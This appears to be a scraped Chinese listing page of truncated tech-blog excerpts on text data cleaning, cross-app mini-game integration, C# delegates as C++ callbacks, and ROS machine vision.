企业的应用场景 数据清洗&#xff1a;在进行数据导入或分析之前&#xff0c;往往需要对大量文本数据进行预处理&#xff0c;比如去除文本中的无关字符&#xff08;中文、英文&#xff09;&#xff0c;只保留需要的联系信息&#xff08;手机号码、固话号码、邮箱&#xff09;。…

小游戏源码开发之可跨app软件对接是如何设计和开发的

专业小游戏开发的团队往往会面临跨领域和不同平台客户需要追加同一款游戏的需求&#xff0c;所以就要设计和开发一款可任意对接不同 App 软件的小游戏&#xff0c;那么针对这类需求小游戏开发团队早已有了成熟的解决方案&#xff0c;针对设计和开发可跨平台游戏对接大概流程简单…

C# Winform 使用委托实现C++中回调函数的功能

C# Winform 使用委托实现C中回调函数的功能 在项目中遇到了使用C#调用C封装的接口&#xff0c;其中C接口有一个回调函数的参数。参考对比后&#xff0c;在C#中是使用委托(delegate)来实现类似的功能。 下面使用一个示例来介绍具体的使用方式&#xff1a; 第一步&#xff1a;…

从基础到人脸识别与目标检测

前言 从本文开始&#xff0c;我们将开始学习ROS机器视觉处理&#xff0c;刚开始先学习一部分外围的知识&#xff0c;为后续的人脸识别、目标跟踪和YOLOV5目标检测做准备工作。我采用的笔记本是联想拯救者游戏本&#xff0c;系统采用Ubuntu20.04&#xff0c;ROS采用noetic。 颜…